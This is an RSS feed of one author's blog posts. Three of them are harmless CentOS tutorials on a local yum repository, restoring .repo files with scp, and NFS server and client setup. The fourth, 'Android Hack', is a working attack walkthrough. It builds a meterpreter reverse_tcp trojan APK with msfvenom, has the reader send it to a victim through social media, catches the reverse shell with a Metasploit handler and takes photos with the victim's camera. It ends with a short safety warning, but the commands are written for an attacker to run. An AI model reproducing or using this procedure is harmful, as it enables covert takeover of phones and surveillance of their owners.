<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: vanquisher</title>
    <description>The latest articles on Forem by vanquisher (@prajwalmithun).</description>
    <link>https://forem.com/prajwalmithun</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F241312%2Fb62ba41d-9b7d-47f9-84b3-020564f8ae90.jpg</url>
      <title>Forem: vanquisher</title>
      <link>https://forem.com/prajwalmithun</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/prajwalmithun"/>
    <language>en</language>
    <item>
      <title>Your own local repository.  </title>
      <dc:creator>vanquisher</dc:creator>
      <pubDate>Sat, 18 Jul 2020 10:00:30 +0000</pubDate>
      <link>https://forem.com/prajwalmithun/your-own-local-repository-2p12</link>
      <guid>https://forem.com/prajwalmithun/your-own-local-repository-2p12</guid>
      <description>&lt;p&gt;In this post, I will explain how to create your own local repository in Centos 7.&lt;/p&gt;

&lt;h1&gt;
  
  
  1.Attach and mount the iso
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo su - 
mkdir /mnt/cdrom   #create a mount point            
mount /dev/cdrom /mnt/cdrom
df  -h            #verify if mounted 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  2.Copy the Packages from iso
&lt;/h1&gt;

&lt;p&gt;ISO comes with inbuilt packages.These packages must have .rpm extension. So, we copy those inbuilt packages to another directory and make it as a new repository.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ls /mnt/cdrom
cp -R  /mnt/cdrom/Packages    /root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  3.Create .repo file in /etc/yum.repos.d directory
&lt;/h1&gt;

&lt;p&gt;Create a configuration file with .repo as extension and add these details into it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;vi /etc/yum.repos.d/local.repo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Filename - local.repo&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[localrepo]
name=Prajwal Repository
baseurl=file:///root/Packages
gpgcheck=0
enabled=1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the above file(ie., local.repo),&lt;br&gt;
'name' is the name of the repo,&lt;br&gt;
'baseurl' is the path to the package directory &lt;br&gt;
'gpgcheck' it takes 0 or 1. It's used for security. Only a user with gpgkey can access this repo if it's set to 1&lt;br&gt;
'enabled' it also take 0 or 1. To activate this repo set it to 1.&lt;/p&gt;
&lt;h1&gt;
  
  
  4.Building local repository
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;createrepo&lt;/em&gt; is the command to create a repository.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;yum info createrepo
yum install createrepo
createrepo -v  /root/Packages 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  5.Verify if the repository is successfully created.
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;yum repolist all | grep -i prajwal  
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cool then! &lt;/p&gt;

</description>
      <category>linux</category>
      <category>yum</category>
    </item>
    <item>
      <title>I accidentally wiped off files from /etc/yum.repos.d in my Centos 7.</title>
      <dc:creator>vanquisher</dc:creator>
      <pubDate>Sat, 18 Jul 2020 07:01:53 +0000</pubDate>
      <link>https://forem.com/prajwalmithun/i-accidentally-wiped-off-files-from-etc-yum-repos-d-in-my-centos-7-1af5</link>
      <guid>https://forem.com/prajwalmithun/i-accidentally-wiped-off-files-from-etc-yum-repos-d-in-my-centos-7-1af5</guid>
      <description>&lt;p&gt;In this post, I will explain how I restored .repo files which I accidentally wiped off.&lt;/p&gt;

&lt;p&gt;Some basics,&lt;/p&gt;

&lt;h1&gt;
  
  
  What is yum ?
&lt;/h1&gt;

&lt;p&gt;Yum is the package manager in Centos, Fedora and Rhel. It actually goes through the .repo file in /etc/yum.repos.d . Yum downloads and install the packages.&lt;/p&gt;

&lt;h1&gt;
  
  
  What is present in /etc/yum.repos.d directory?
&lt;/h1&gt;

&lt;p&gt;It contains yum configuration files with .repo extension. These .repo files contains the URL to the servers where to fetch the packages. Not only remote(HTTP,FTP..) but also can contain local(ie., local packages in your disk) repositories.&lt;/p&gt;

&lt;p&gt;Okay, that's the basics. &lt;/p&gt;

&lt;h1&gt;
  
  
  How I restored those .repo files ?
&lt;/h1&gt;

&lt;p&gt;I copied those files over ssh from similar system running.&lt;/p&gt;

&lt;p&gt;It's a simple command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo su -
scp /etc/yum.repos.d/* user1@192.168.43.92:/etc/yum.repos.d 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Syntax&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;scp source_username@source_ip:filename destination_username@destination_ip:filename
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pre-requsite: Both the systems must be connected over SSH before copying. &lt;/p&gt;

</description>
      <category>linux</category>
    </item>
    <item>
      <title>Setup NFS server-client in Centos 7. </title>
      <dc:creator>vanquisher</dc:creator>
      <pubDate>Wed, 15 Jul 2020 09:23:06 +0000</pubDate>
      <link>https://forem.com/prajwalmithun/setup-nfs-server-client-in-linux-and-unix-27id</link>
      <guid>https://forem.com/prajwalmithun/setup-nfs-server-client-in-linux-and-unix-27id</guid>
      <description>&lt;p&gt;In this blog, I will answer some basic questions about NFS and explain how to setup NFS server-client.&lt;/p&gt;

&lt;h1&gt;
  
  
  What is NFS ?
&lt;/h1&gt;

&lt;p&gt;Network File System(NFS) is a distributed file system protocol, to share the files and folders between the Linux/Unix systems.&lt;/p&gt;

&lt;h1&gt;
  
  
  Why is it used ?
&lt;/h1&gt;

&lt;p&gt;To share files. Since mounting of filesystem is possible,&lt;br&gt;
NFS-Client can access the files of NFS-Server as like the local files.&lt;/p&gt;
&lt;h1&gt;
  
  
  How to setup NFS ?
&lt;/h1&gt;

&lt;p&gt;Since it's like a client-server model, we need to setup server and client individually.&lt;/p&gt;
&lt;h2&gt;
  
  
  Setup NFS-server
&lt;/h2&gt;

&lt;p&gt;In this post, we are doing it in Centos, which uses yum as the package manager.&lt;br&gt;
1.Installing nfs-utils&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo su -
yum install nfs-utils
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;2.Choose the directory to share. If not present create one.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mkdir /var/nfs_share_dir
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;3.Add permissions and ownwership privilages to the shared directory.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;chmod -R 755 /var/nfs_share_dir
chown nfsnobody:nfsnobody /var/nfs_share_dir
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;4.Start the nfs services.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;systemctl enable rpcbind
systemctl enable nfs-server
systemctl enable nfs-lock
systemctl enable nfs-idmap
systemctl start rpcbind
systemctl start nfs-server
systemctl start nfs-lock
systemctl start nfs-idmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;5.Configuring the exports file for sharing.&lt;br&gt;
Open the exports file and add these lines.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;vi /etc/exports
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fill in the the file-shared path and clients details in /etc/exports.&lt;br&gt;
192.168.48.101 - Client's IP&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/var/nfs_share_dir    192.168.48.101(rw,sync,no_root_squash)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;6.Restart the service&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;systemctl restart nfs-server
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;7.Only for Centos 7,NFS service override&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;firewall-cmd --permanent --zone=public --add-service=nfs
firewall-cmd --permanent --zone=public --add-service=mountd
firewall-cmd --permanent --zone=public --add-service=rpc-bind
firewall-cmd --reload
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Setup NFS-Client(s)
&lt;/h2&gt;

&lt;p&gt;1.Installing nfs-utils&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo su -
yum install nfs-utils
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;2.Create a mount point&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mkdir -p /mnt/nfs/var/nfs_share_dir
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;3.Mounting the filesystem&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mount -t nfs 192.168.48.100:/var/nfs_share_dir /mnt/nfs/var/nfs_share_dir

-t  type of filesystem
192.168.48.100 server's IP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;4.Verify if mounted&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ df -kh

Filesystem                    Size  Used Avail Use% Mounted on
/dev/mapper/centos-root         39G  1.1G   38G   3% /
devtmpfs                        488M     0  488M   0% /dev
tmpfs                          494M     0  494M   0% /dev/shm
tmpfs                            494M  6.7M  487M   2% /run
tmpfs                            494M     0  494M   0% /sys/fs/cgroup
/dev/mapper/centos-home           19G   33M   19G   1% /home
/dev/sda1                         497M  126M  372M  26% /boot
192.168.48.100:/var/nfs_share_dir   39G  980M   38G   3% /mnt/nfs/var/nfs_share_dir
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;5.Mounting permanently.&lt;br&gt;
Now if the client is rebooted, we need to remount again. So, to mount permanently,we need to configure &lt;em&gt;/etc/fstab&lt;/em&gt; file.&lt;br&gt;
Append this to /etc/fstab&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;192.168.48.100:/var/nfs_share_dir /mnt/nfs/var/nfs_share_dir nfs defaults 0 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To verify, create a file in the Client-side, and open in server-side.&lt;/p&gt;

&lt;p&gt;Client-side(192.168.48.101)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo "Client Hello" &amp;gt;&amp;gt; /mnt/nfs/var/nfs_share_dir/testing.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Server-side(192.168.48.100)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ cat /var/nfs_share_dir/testing.txt

Client Hello
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hurray! Now client is able to access the files of server.&lt;br&gt;
Credits : &lt;a href="https://linuxodisha.wordpress.com/"&gt;https://linuxodisha.wordpress.com/&lt;/a&gt;&lt;/p&gt;

</description>
      <category>linux</category>
      <category>nfs</category>
      <category>centos</category>
      <category>filesharing</category>
    </item>
    <item>
      <title>Android Hack</title>
      <dc:creator>vanquisher</dc:creator>
      <pubDate>Fri, 14 Feb 2020 11:55:57 +0000</pubDate>
      <link>https://forem.com/prajwalmithun/android-hack-1dkl</link>
      <guid>https://forem.com/prajwalmithun/android-hack-1dkl</guid>
      <description>&lt;p&gt;We are all aware of how android has influenced the world. As it became a revolution, along with its pros it also comes with cons. In this post, I will be demonstrating how malicious hackers exploit the android phone and control the device with their system. So, let's start.&lt;/p&gt;

&lt;p&gt;Prerequisite:&lt;br&gt;
    1. msfvenom&lt;br&gt;
    2. Metasploit &lt;/p&gt;

&lt;p&gt;Fire up your terminal and just follow these steps to control your victim's android phone.&lt;/p&gt;
&lt;h1&gt;
  
  
  STEP 1. Create a payload using msfvenom:
&lt;/h1&gt;



&lt;p&gt;&lt;code&gt;$ msfvenom -p android/meterpreter/reverse_tcp LHOST=[YOUR PRIVATE IP] LPORT=[YOUR PORT] R &amp;gt; /Desktop/trojan.apk&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;-p     : payload&lt;br&gt;
    LHOST : IP address of your own PC&lt;br&gt;
    LPORT : Any port &amp;gt; 1024&lt;/p&gt;

&lt;p&gt;I got you..! But how to get my IP address ? Yes wait!!!!&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ ifconfig | grep -w inet | awk '{print $2}'&lt;br&gt;
                         OR&lt;br&gt;
   $ /sbin/ifconfig | grep -w inet | awk '{print $2}'&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;After creating payload you will get a file called &lt;strong&gt;trojan.apk&lt;/strong&gt; in /Desktop path. Send this file to the victim using any social media and let them to install it.&lt;/p&gt;

&lt;h1&gt;
  
  
  STEP 2. Open metasploit and hack
&lt;/h1&gt;

&lt;p&gt;To start metasploit use this command&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;&lt;code&gt;msfconsole&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;When you get metasploit shell follow these commands.&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ use exploit/multi/handler&lt;br&gt;
    $ set payload android/meterpreter/reverse_tcp&lt;br&gt;
    $ set LHOST &amp;lt;YOUR IP USED in the previous command&amp;gt;&lt;br&gt;
    $ set LPORT &amp;lt;PORT Specified in the previous command&amp;gt;&lt;br&gt;
    $ show options&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;*remove &amp;lt;&amp;gt; while executing the above commands.&lt;/p&gt;

&lt;p&gt;Your are just 1 step away from gaining access to your victim's phone.&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ exploit&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;Once the victim installs the trojan.apk in his phone you will get a reverse shell (ie., meterpreter shell. It is as good as you are getting accessing to all the files on victim's cellphone.)&lt;/p&gt;

&lt;p&gt;Once you get meterpreter, you can do all sort of things.&lt;/p&gt;

&lt;h4&gt;
  
  
  webcam_list
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;strong&gt;webcam_list&lt;/strong&gt; command shows a list of webcams you could use for the webcam_snap command. Example:
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;meterpreter &amp;gt; webcam_list&lt;br&gt;
      1: Back Camera&lt;br&gt;
      2: Front Camera&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;h4&gt;
  
  
  webcam_snap
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;The webcam_snap command takes a picture from the device. You will have to use the webcam_list command to figure out which camera to use. Example:
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;meterpreter &amp;gt; webcam_snap -i 2&lt;br&gt;
[*] Starting...&lt;br&gt;
[+] Got frame&lt;br&gt;
[*] Stopped&lt;br&gt;
Webcam shot saved to: /Users/user/rapid7/msf/uFWJXeQt.jpeg&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;Finally, you have access to your victim's cell phone. This post's main idea was to explain how malware would be injected into android cell phone without knowledge of the user and being monitored by malicious people. So, the final words of this post is that do not install unknown apps to your cell phones, Be safe! cheers!&lt;/p&gt;

</description>
      <category>android</category>
      <category>security</category>
    </item>
  </channel>
</rss>
